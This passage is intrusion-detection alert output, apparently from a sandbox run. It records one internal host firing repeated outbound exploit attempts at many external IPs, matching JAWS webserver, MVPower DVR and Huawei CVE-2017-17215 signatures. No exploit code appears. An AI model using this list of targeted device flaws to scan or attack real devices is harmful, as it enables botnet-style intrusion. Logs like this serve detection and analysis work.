Source Port:	55428
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.202.207.175

Timestamp:	192.168.2.23116.202.207.17543532802030092 01/02/24-06:24:40.704654
SID:	2030092
Source Port:	43532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 41.47.14.145

Timestamp:	192.168.2.2341.47.14.14559648802025883 01/02/24-06:24:55.990421
SID:	2025883
Source Port:	59648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.47.19.114

Timestamp:	192.168.2.2320.47.19.11445826802025883 01/02/24-06:23:56.133253
SID:	2025883
Source Port:	45826
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.210.89.53

Timestamp:	192.168.2.2351.210.89.5356836802030092 01/02/24-06:25:38.038524
SID:	2030092
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 116.203.70.28

Timestamp:	192.168.2.23116.203.70.2860376802030092 01/02/24-06:23:52.035635
SID:	2030092
Source Port:	60376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.204.78.115

Timestamp:	192.168.2.23198.204.78.11558122802030092 01/02/24-06:24:30.686985
SID:	2030092
Source Port:	58122
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 119.77.165.60

Timestamp:	192.168.2.23119.77.165.6058400802030092 01/02/24-06:23:55.158684
SID:	2030092
Source Port:	58400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.63.254.149

Timestamp:	192.168.2.2323.63.254.14947840802030092 01/02/24-06:25:42.582550
SID:	2030092
Source Port:	47840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.82.158.98

Timestamp:	192.168.2.23104.82.158.9850494802030092 01/02/24-06:24:08.856573
SID:	2030092
Source Port:	50494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.192.122.65

Timestamp:	192.168.2.2343.192.122.6537722802030092 01/02/24-06:25:42.403229
SID:	2030092
Source Port:	37722
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.94.161.145

Timestamp:	192.168.2.2320.94.161.14533044802030092 01/02/24-06:24:17.563871
SID:	2030092
Source Port:	33044
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 47.95.228.73

Timestamp:	192.168.2.2347.95.228.7335778802025883 01/02/24-06:24:59.105890
SID:	2025883
Source Port:	35778
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 5.217.184.78

Timestamp:	192.168.2.235.217.184.7845324802030092 01/02/24-06:25:15.076575
SID:	2030092
Source Port:	45324
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.98.90

Timestamp:	192.168.2.23156.254.98.9037532372152835222 01/02/24-06:23:56.031360
SID:	2835222
Source Port:	37532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.65.30.212

Timestamp:	192.168.2.2320.65.30.21242196802030092 01/02/24-06:25:03.828276
SID:	2030092
Source Port:	42196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.121.24.212

Timestamp:	192.168.2.23104.121.24.21239268802025883 01/02/24-06:25:34.772506
SID:	2025883
Source Port:	39268
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.159.177.31

Timestamp:	192.168.2.23200.159.177.3149306802030092 01/02/24-06:24:11.224156
SID:	2030092
Source Port:	49306
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 66.78.59.102

Timestamp:	192.168.2.2366.78.59.10240712802030092 01/02/24-06:25:15.619279
SID:	2030092
Source Port:	40712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 178.128.227.109

Timestamp:	192.168.2.23178.128.227.10941330802025883 01/02/24-06:25:25.911068
SID:	2025883
Source Port:	41330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.26.123.215

Timestamp:	192.168.2.23197.26.123.21538682802025883 01/02/24-06:25:36.163559
SID:	2025883
Source Port:	38682
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 160.242.101.249

Timestamp:	192.168.2.23160.242.101.24957992802025883 01/02/24-06:24:49.569096
SID:	2025883
Source Port:	57992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.23.98.204

Timestamp:	192.168.2.23104.23.98.20438590802025883 01/02/24-06:24:01.079300
SID:	2025883
Source Port:	38590
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.3.104.60

Timestamp:	192.168.2.2338.3.104.6048300802025883 01/02/24-06:25:07.011141
SID:	2025883
Source Port:	48300
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.27.51.32

Timestamp:	192.168.2.23184.27.51.3257188802025883 01/02/24-06:25:35.366173
SID:	2025883
Source Port:	57188
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 50.199.186.25

Timestamp:	192.168.2.2350.199.186.2553794802030092 01/02/24-06:24:08.558341
SID:	2030092
Source Port:	53794
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.76.96.21

Timestamp:	192.168.2.23104.76.96.2160320802025883 01/02/24-06:25:15.761034
SID:	2025883
Source Port:	60320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 162.243.164.36

Timestamp:	192.168.2.23162.243.164.3647712802030092 01/02/24-06:25:00.919883
SID:	2030092
Source Port:	47712
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.25.41.249

Timestamp:	192.168.2.23104.25.41.24933472802025883 01/02/24-06:24:01.079195
SID:	2025883
Source Port:	33472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 212.40.8.187

Timestamp:	192.168.2.23212.40.8.18758620802025883 01/02/24-06:24:23.995468
SID:	2025883
Source Port:	58620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.100.195.105

Timestamp:	192.168.2.23104.100.195.10552802802030092 01/02/24-06:25:15.214192
SID:	2030092
Source Port:	52802
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 167.82.120.66

Timestamp:	192.168.2.23167.82.120.6646464802025883 01/02/24-06:24:27.487383
SID:	2025883
Source Port:	46464
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 190.77.152.216

Timestamp:	192.168.2.23190.77.152.21653296802025883 01/02/24-06:25:16.037354
SID:	2025883
Source Port:	53296
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 20.72.240.212

Timestamp:	192.168.2.2320.72.240.21243978802025883 01/02/24-06:24:23.654334
SID:	2025883
Source Port:	43978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.15.103.21

Timestamp:	192.168.2.2323.15.103.2141670802030092 01/02/24-06:25:31.414284
SID:	2030092
Source Port:	41670
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 175.29.154.101

Timestamp:	192.168.2.23175.29.154.10159250802030092 01/02/24-06:24:03.503193
SID:	2030092
Source Port:	59250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 67.207.70.100

Timestamp:	192.168.2.2367.207.70.10055198802030092 01/02/24-06:23:52.032969
SID:	2030092
Source Port:	55198
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 38.181.35.219

Timestamp:	192.168.2.2338.181.35.21934232802025883 01/02/24-06:23:57.729740
SID:	2025883
Source Port:	34232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.215.216.43

Timestamp:	192.168.2.2391.215.216.4359224802030092 01/02/24-06:23:50.494104
SID:	2030092
Source Port:	59224
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.246.114.17

Timestamp:	192.168.2.23173.246.114.1738990802025883 01/02/24-06:24:15.084514
SID:	2025883
Source Port:	38990
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 184.29.129.7

Timestamp:	192.168.2.23184.29.129.740722802025883 01/02/24-06:23:49.999892
SID:	2025883
Source Port:	40722
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 94.237.51.52

Timestamp:	192.168.2.2394.237.51.5260554802025883 01/02/24-06:24:20.104130
SID:	2025883
Source Port:	60554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.100.155

Timestamp:	192.168.2.23156.254.100.15556258372152829579 01/02/24-06:24:45.346010
SID:	2829579
Source Port:	56258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 2.135.71.176

Timestamp:	192.168.2.232.135.71.17637678802025883 01/02/24-06:24:11.112670
SID:	2025883
Source Port:	37678
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 98.4.73.12

Timestamp:	192.168.2.2398.4.73.1259564802025883 01/02/24-06:25:01.180668
SID:	2025883
Source Port:	59564
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.68.1.220

Timestamp:	192.168.2.2368.68.1.22036644802030092 01/02/24-06:25:00.920491
SID:	2030092
Source Port:	36644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.160.3.149

Timestamp:	192.168.2.2335.160.3.14954360802025883 01/02/24-06:24:40.650599
SID:	2025883
Source Port:	54360
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.225.210.18

Timestamp:	192.168.2.2343.225.210.1847296802030092 01/02/24-06:24:55.316812
SID:	2030092
Source Port:	47296
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.7.184.253

Timestamp:	192.168.2.2323.7.184.25344448802030092 01/02/24-06:24:40.620372
SID:	2030092
Source Port:	44448
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 154.216.168.76

Timestamp:	192.168.2.23154.216.168.7659634802025883 01/02/24-06:23:58.312912
SID:	2025883
Source Port:	59634
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 44.237.242.202

Timestamp:	192.168.2.2344.237.242.20252038802025883 01/02/24-06:24:36.865314
SID:	2025883
Source Port:	52038
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 31.41.88.12

Timestamp:	192.168.2.2331.41.88.1257330802025883 01/02/24-06:24:41.167214
SID:	2025883
Source Port:	57330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 35.211.249.211

Timestamp:	192.168.2.2335.211.249.21148824802025883 01/02/24-06:24:30.918981
SID:	2025883
Source Port:	48824
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.67.227.6

Timestamp:	192.168.2.23172.67.227.649236802025883 01/02/24-06:24:30.712225
SID:	2025883
Source Port:	49236
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.244.147.183

Timestamp:	192.168.2.2320.244.147.18357646802030092 01/02/24-06:24:58.867978
SID:	2030092
Source Port:	57646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.111.199.195

Timestamp:	192.168.2.23104.111.199.19550616802030092 01/02/24-06:24:14.253972
SID:	2030092
Source Port:	50616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 5.201.189.181

Timestamp:	192.168.2.235.201.189.18145518802025883 01/02/24-06:25:25.755860
SID:	2025883
Source Port:	45518
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 52.215.63.143

Timestamp:	192.168.2.2352.215.63.14354620802025883 01/02/24-06:25:02.012429
SID:	2025883
Source Port:	54620
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.81.147.86

Timestamp:	192.168.2.23104.81.147.8654666802030092 01/02/24-06:23:51.956424
SID:	2030092
Source Port:	54666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.194.49.16

Timestamp:	192.168.2.2323.194.49.1647606802025883 01/02/24-06:24:41.187072
SID:	2025883
Source Port:	47606
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 147.161.173.4

Timestamp:	192.168.2.23147.161.173.436874802025883 01/02/24-06:24:27.401967
SID:	2025883
Source Port:	36874
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.99.30

Timestamp:	192.168.2.23156.235.99.3048078372152835222 01/02/24-06:25:03.497384
SID:	2835222
Source Port:	48078
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.75.28.175

Timestamp:	192.168.2.23202.75.28.17559818802030092 01/02/24-06:24:09.284359
SID:	2030092
Source Port:	59818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.182.204.242

Timestamp:	192.168.2.2318.182.204.24235596802030092 01/02/24-06:25:43.130381
SID:	2030092
Source Port:	35596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.55.87.229

Timestamp:	192.168.2.2313.55.87.22949346802030092 01/02/24-06:24:15.126337
SID:	2030092
Source Port:	49346
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 172.121.35.80

Timestamp:	192.168.2.23172.121.35.8032926802025883 01/02/24-06:23:50.004340
SID:	2025883
Source Port:	32926
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 103.204.176.205

Timestamp:	192.168.2.23103.204.176.20545228802025883 01/02/24-06:24:18.853608
SID:	2025883
Source Port:	45228
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.230.152.225

Timestamp:	192.168.2.23104.230.152.22550120802025883 01/02/24-06:24:30.618084
SID:	2025883
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.37.171.104

Timestamp:	192.168.2.2323.37.171.10453882802030092 01/02/24-06:24:30.942227
SID:	2030092
Source Port:	53882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.212.159.215

Timestamp:	192.168.2.23209.212.159.21533838802030092 01/02/24-06:25:09.542471
SID:	2030092
Source Port:	33838
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 117.52.81.226

Timestamp:	192.168.2.23117.52.81.22652076802025883 01/02/24-06:25:30.193653
SID:	2025883
Source Port:	52076
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 91.200.67.110

Timestamp:	192.168.2.2391.200.67.11059548802025883 01/02/24-06:24:19.258178
SID:	2025883
Source Port:	59548
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.44.122.130

Timestamp:	192.168.2.2320.44.122.13056304802030092 01/02/24-06:24:35.077411
SID:	2030092
Source Port:	56304
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.250.225.16

Timestamp:	192.168.2.2313.250.225.1660966802030092 01/02/24-06:24:43.065656
SID:	2030092
Source Port:	60966
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.176.244.127

Timestamp:	192.168.2.2318.176.244.12750336802030092 01/02/24-06:24:45.251137
SID:	2030092
Source Port:	50336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.107.146.117

Timestamp:	192.168.2.23104.107.146.11748156802025883 01/02/24-06:24:01.091302
SID:	2025883
Source Port:	48156
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 200.52.65.80

Timestamp:	192.168.2.23200.52.65.8038840802025883 01/02/24-06:25:07.011268
SID:	2025883
Source Port:	38840
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 23.214.139.17

Timestamp:	192.168.2.2323.214.139.1748916802025883 01/02/24-06:24:08.852245
SID:	2025883
Source Port:	48916
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.101.194.55

Timestamp:	192.168.2.2395.101.194.5540702802025883 01/02/24-06:25:10.079630
SID:	2025883
Source Port:	40702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 186.39.8.73

Timestamp:	192.168.2.23186.39.8.7359120802025883 01/02/24-06:25:19.095834
SID:	2025883
Source Port:	59120
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.29.100.37

Timestamp:	192.168.2.23194.29.100.3746672802030092 01/02/24-06:24:49.045138
SID:	2030092
Source Port:	46672
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 205.186.128.8

Timestamp:	192.168.2.23205.186.128.848982802025883 01/02/24-06:24:27.336199
SID:	2025883
Source Port:	48982
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.129.5.235

Timestamp:	192.168.2.2377.129.5.23550818802030092 01/02/24-06:25:29.681948
SID:	2030092
Source Port:	50818
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 46.4.186.236

Timestamp:	192.168.2.2346.4.186.23653184802025883 01/02/24-06:24:54.906257
SID:	2025883
Source Port:	53184
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 197.15.56.180

Timestamp:	192.168.2.23197.15.56.18050906802025883 01/02/24-06:24:01.084128
SID:	2025883
Source Port:	50906
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.238.103.105

Timestamp:	192.168.2.23206.238.103.10546650802030092 01/02/24-06:24:08.700707
SID:	2030092
Source Port:	46650
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 115.110.175.36

Timestamp:	192.168.2.23115.110.175.3654248802030092 01/02/24-06:25:42.911184
SID:	2030092
Source Port:	54248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.175.236.102

Timestamp:	192.168.2.2343.175.236.10258804802030092 01/02/24-06:25:44.028517
SID:	2030092
Source Port:	58804
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 87.123.31.165

Timestamp:	192.168.2.2387.123.31.16541088802025883 01/02/24-06:24:24.186617
SID:	2025883
Source Port:	41088
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 129.21.35.145

Timestamp:	192.168.2.23129.21.35.14555408802030092 01/02/24-06:24:59.028627
SID:	2030092
Source Port:	55408
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.252.147.128

Timestamp:	192.168.2.23104.252.147.12855178802025883 01/02/24-06:25:35.867202
SID:	2025883
Source Port:	55178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.214.84.9

Timestamp:	192.168.2.231.214.84.941418802030092 01/02/24-06:25:32.217582
SID:	2030092
Source Port:	41418
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.11.236.142

Timestamp:	192.168.2.2345.11.236.14242078802030092 01/02/24-06:24:59.115435
SID:	2030092
Source Port:	42078
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.146.189.28

Timestamp:	192.168.2.2362.146.189.2848810802030092 01/02/24-06:25:38.026986
SID:	2030092
Source Port:	48810
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.66.124.196

Timestamp:	192.168.2.2352.66.124.19643216802030092 01/02/24-06:24:31.144023
SID:	2030092
Source Port:	43216
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 90.186.147.74

Timestamp:	192.168.2.2390.186.147.7442050802025883 01/02/24-06:24:54.920917
SID:	2025883
Source Port:	42050
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 104.27.61.236

Timestamp:	192.168.2.23104.27.61.23650004802025883 01/02/24-06:24:48.847612
SID:	2025883
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 43.225.210.18

Timestamp:	192.168.2.2343.225.210.1847310802025883 01/02/24-06:24:55.583858
SID:	2025883
Source Port:	47310
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.235.102.234

